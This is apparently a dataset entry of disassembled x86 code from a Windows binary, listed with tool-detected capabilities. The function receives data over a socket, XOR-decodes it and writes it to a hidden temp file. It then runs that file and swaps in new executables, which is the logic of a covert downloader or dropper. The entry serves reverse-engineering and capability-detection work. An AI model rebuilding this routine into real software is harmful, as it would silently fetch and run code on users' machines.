Function at 0x4034b6
Capabilities:
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Move file
Receive and write data from server to client
Receive data
Receive data on socket
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1870
call fcn.00406fa0
push ebx
push esi
push edi
mov esi, 0x400
push esi
lea eax, [ebp - 0x1870]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x1870]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x1070]
push eax
call edi
push eax
push 0x40850c
lea eax, [ebp - 0x1870]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x1070]
push eax
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4035f1
push 0x408508
push dword [ebp + 8]
call fcn.004019c3
push eax
call fcn.00401b38
push str.size
push dword [ebp + 8]
mov byte [ebp - 9], al
call fcn.004019c3
push eax
call fcn.00401b38
push dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
push dword [ebp + 0xc]
call fcn.00402c29
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x4035df
cmp dword [ebp - 0x18], ebx
je 0x4035d6
push ebx
push esi
lea eax, [ebp - 0x470]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jle 0x4035d3
xor ecx, ecx
cmp eax, ebx
jle 0x4035b3
mov al, byte [ebp - 9]
xor byte [ebp + ecx - 0x470], al
mov eax, dword [ebp - 0x14]
inc ecx
cmp ecx, eax
jl 0x4035a1
push ebx
lea ecx, [ebp - 0x2c]
push ecx
push eax
lea eax, [ebp - 0x470]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x18], eax
jne 0x403582
jmp 0x4035d6
mov byte [ebp - 1], bl
push dword [ebp - 0x10]
call fcn.00402ba7
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], bl
je 0x4037ac
lea eax, [ebp - 0x1070]
push eax
mov esi, 0x41be90
push esi
call fcn.00406991
pop ecx
pop ecx
push 6
lea eax, [ebp - 0x1070]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x14]
push 4
push eax
call fcn.00402687
pop ecx
pop ecx
push dword [ebp - 0x14]
call edi
shr eax, 1
push eax
call edi
push eax
lea eax, [ebp - 0x470]
push str.Shell.IPC._x_X_x
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x470]
push eax
push ebx
push ebx
push 0x42beac
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4037ac
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x1070]
push eax
lea eax, [ebp - 8]
push str.__s___u1___s_
push eax
call fcn.00402f3b
add esp, 0x10
test eax, eax
je 0x4036fb
push 0x40
lea eax, [ebp - 0x6c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x70], 0x44
push ebx
mov dword [ebp - 0x44], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4036f2
push 0xea60
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb al, al
push ebx
push dword [ebp - 0x28]
inc al
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 8]
call fcn.0040264c
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], bl
je 0x4037ac
lea eax, [ebp - 0x870]
push eax
call edi
push eax
push 0x4084b8
lea eax, [ebp - 0x1870]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
lea eax, [ebp - 0x870]
push eax
push esi
call edi
push 1
push esi
lea eax, [ebp - 0x1070]
push eax
call edi
lea eax, [ebp - 0x870]
push eax
push esi
lea eax, [ebp - 8]
push str.__s___u2___s_
push eax
call fcn.00402f3b
add esp, 0x10
test eax, eax
je 0x4037b9
push 0x40
lea eax, [ebp - 0x6c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x70]
push ecx
push ebx
push ebx
push ebx
xor eax, eax
inc eax
push eax
push ebx
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x70], 0x44
push ebx
mov dword [ebp - 0x44], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4037a1
call fcn.00404042
push dword [ebp - 8]
call fcn.0040264c
pop ecx
jmp 0x4037b9
lea eax, [ebp - 0x1070]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret